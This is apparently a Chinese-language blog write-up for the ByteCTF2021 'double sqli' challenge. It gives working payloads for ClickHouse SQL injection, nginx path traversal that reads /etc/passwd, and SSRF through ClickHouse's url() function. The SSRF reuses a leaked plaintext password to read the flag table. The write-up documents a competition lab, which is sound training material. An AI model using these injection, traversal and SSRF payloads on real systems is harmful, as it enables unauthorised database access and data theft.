double sqli

easy sqli

http://39.105.175.150:30001/?id=1

http://39.105.116.246:30001/?id=1

http://39.105.189.250:30001/?id=1

打开题目,地址栏有个id参数,测试注入,发现报错信息

  1. http://39.105.189.250:30001/?id=1'
  2. Code: 62. DB::Exception: Syntax error: failed at position 36 ('' '): ' . Single quoted string is not closed: '' '. Stack trace: 0. DB::parseQueryAndMovePosition(DB::IParser&, char const*&, char const*, std::__1::basic_string, std::__1::allocator > const&, bool, unsigned long, unsigned long) @ 0x1184fcb6 in /usr/bin/clickhouse 1. ? @ 0xf12c0ae in /usr/bin/clickhouse 2. DB::executeQuery(std::__1::basic_string, std::__1::allocator > const&, DB::Context&, bool, DB::QueryProcessingStage::Enum, bool) @ 0xf12bce3 in /usr/bin/clickhouse 3. DB::TCPHandler::runImpl() @ 0xf8b7c5d in /usr/bin/clickhouse 4. DB::TCPHandler::run() @ 0xf8ca1c9 in /usr/bin/clickhouse 5. Poco::Net::TCPServerConnection::start() @ 0x11f7ccbf in /usr/bin/clickhouse 6. Poco::Net::TCPServerDispatcher::run() @ 0x11f7e6d1 in /usr/bin/clickhouse 7. Poco::PooledThread::run() @ 0x120b4df9 in /usr/bin/clickhouse 8. Poco::ThreadImpl::runnableEntry(void*) @ 0x120b0c5a in /usr/bin/clickhouse 9. start_thread @ 0x7fa3 in /lib/x86_64-linux-gnu/libpthread-2.28.so 10. clone @ 0xf94cf in /lib/x86_64-linux-gnu/libc-2.28.so

经查询发现是ClickHouse数据库管理系统

https://clickhouse.com/docs/zh/

之前并没有用过这个数据库,所以还是涉及到很多盲区的

  1. 联合查询: union all
  2. 系统自带表:
  3. system.tables
  4. 字段:
  5. database (String) 表所在的数据库的名称。
  6. name (String) 表名。
  7. system.databases

有两个数据库,ctfdefault

ctf中有个字段hint

id=1%20union%20all%20select%20*%20from%20ctf.hint

Welcome to ByteCTF',), ('you_dont_have_permissions_to_read_flag

id=2的时候会显示一张图片

http://39.105.189.250:30001/files/test.jpg

nginx配置不当的时候导致的目录穿越

http://39.105.189.250:30001/files../etc/passwd

  1. root:x:0:0:root:/root:/bin/bash
  2. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  3. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  4. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  5. sync:x:4:65534:sync:/bin:/bin/sync
  6. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  7. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  8. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  9. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  10. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  11. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  12. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  13. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  14. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  15. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  16. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  17. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  18. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  19. _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
  20. nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false
  21. clickhouse:x:999:999::/nonexistent:/bin/false

users.list,可以看到有两个用户

user_028643c754-c3e5-cbb5-4205-fb5ed51d8493user_01a84520c1-5143-ecd4-91ac-ec52b34bac85

  1. # a84520c1-5143-ecd4-91ac-ec52b34bac85.sql
  2. ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
  3. ATTACH GRANT SELECT ON ctf.* TO user_01;

可以看到user_01的权限很高

这里有一个点,就是clickhouse有个URL函数,可以通过HTTP客户端进行查询

https://clickhouse.com/docs/zh/interfaces/http/

https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

通过ssrf连接到HTTP客户端,利用上面获取的user的账号和密码进行查询

  1. 1 union all select * from url("http://localhost:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select+name+from+system.tables",CSV,'column String')
  2. =>
  3. 1+union+all+select+%2A+from+url%28%22http%3A%2F%2Flocalhost%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2Bname%2Bfrom%2Bsystem.tables%22%2CCSV%2C%27column+String%27%29

  1. 1 union all select * from url("http://localhost:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select+*+from+ctf.flag",CSV,'column String')
  2. =>
  3. 1+union+all+select+%2A+from+url%28%22http%3A%2F%2Flocalhost%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2B%2A%2Bfrom%2Bctf.flag%22%2CCSV%2C%27column+String%27%29

ByteCTF2021 double sqli的更多相关文章

  1. SQLi Lab的视频教程和文字教程

    SQLi Lab 系列的文字和视频(需要FQ),讲解的很好 SQLi Lab Series - Introduction SQLi Lab Series - Error Based SQLi Lab ...

  2. 报错盲注之exp注入(double数值类型溢出原理详解)

    首先感谢原文博主,在此致敬.本文转自:http://www.cnblogs.com/lcamry/articles/5509124.html Exp()为以 e 为底的对数函数:MySQL版本在 5. ...

  3. Java:Double Brace Initialization

    在我刚刚接触现在这个产品的时候,我就在我们的代码中接触到了对Double Brace Initialization的使用.那段代码用来初始化一个集合: final Set<String> ...

  4. Double Dispatch讲解与实例-面试题

    引言 说实话,我看过GoF<Design Patterns>,也曾深深的被李建忠<设计模式>系列Webcast吸引.但是还没有见过“Double Dispatch模式”.的确G ...

  5. sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...

  6. Sql的decimal、float、double类型的区别

    三者的区别介绍 float:浮点型,含字节数为4,32bit,数值范围为-3.4E38~3.4E38(7个有效位) double:双精度实型,含字节数为8,64bit数值范围-1.7E308~1.7E ...

  7. decimal与double,float的选择与区别

    decimal 类型可以精确地表示非常大或非常精确的小数.大至 1028(正或负)以及有效位数多达 28 位的数字可以作为 decimal类型存储而不失其精确性.该类型对于必须避免舍入错误的应用程序( ...

  8. java使double保留两位小数的多方法 java保留两位小数

    这篇文章主要介绍了java使double类型保留两位小数的方法,大家参考使用吧 复制代码 代码如下: mport java.text.DecimalFormat; DecimalFormat    d ...

  9. Max double slice sum 的解法

    1. 上题目: Task description A non-empty zero-indexed array A consisting of N integers is given. A tripl ...

随机推荐

  1. Python - 通过PyYaml库操作YAML文件

    PyYaml简单介绍 Python的PyYAML模块是Python的YAML解析器和生成器 它有个版本分水岭,就是5.1 读取YAML5.1之前的读取方法 def read_yaml(self, pa ...

  2. 在C#中将图像转换为BASE64

    本教程说明如何在C#.NET Windows Forms Application中将图像转换为base64字符串,以及将base64字符串转换为图像.您可以创建一个新的Windows窗体应用程序项目来 ...

  3. ActiveMQ和消息中间件概念

    一.概念

  4. SpringBoot自定义初始化Bean+HashMap优化策略模式实践

    策略模式:定义了算法族,分别封装起来,让它们之间可以互相替换,此模式让算法的变化独立于使用算法的客户. 传统的策略模式一般是创建公共接口.定义公共方法-->然后创建实体类实现公共接口.根据各自的 ...

  5. 自定义cs程序安装界面

    http://www.crifan.com/achieve_fixed_install_path_while_install_software_when_make_msi_installer/ 制作C ...

  6. linux 下的shutdown指令

    命令简介: 该命令可以安全关闭或者重新启动系统.你没有看错,shutdown命令不仅可以关闭系统.也可以重启Linux系统. 命令语法: /sbin/shutdown [-t sec] [-arkhn ...

  7. 抽奖之Flash大转盘

    1.搭建JS与Flash互通的环境 function thisMovie(movieName){ if (window.document[movieName]) { return window.doc ...

  8. [闻缺陷则喜]关于boost的想法

    公司有个大约2万行的项目,用到了boost,我想取消掉不用boost.理由:一,可理解性差,除了高手很难弄懂.二,类太多,光头文件就1万多.大点的团队四五个高手,每人用一个boost类.高手流失后,很 ...

  9. Nacos注册中心和配置中心流程原理

    一.Nacos注册中心 1.服务启动后---->服务注册原理 springCloud集成Nacos实现原理: 服务启动时,在spring-cloud-commons包下 spring.facto ...

  10. vs code安装leetcode插件

    vs code 安装不成功啊 1.首先确保有node.js 10+,没有的话去官网下载,安装就可以,安装好之后在cmd命令行中输入: node -v 若出现相关版本信息说明安装成功 2.由于leetc ...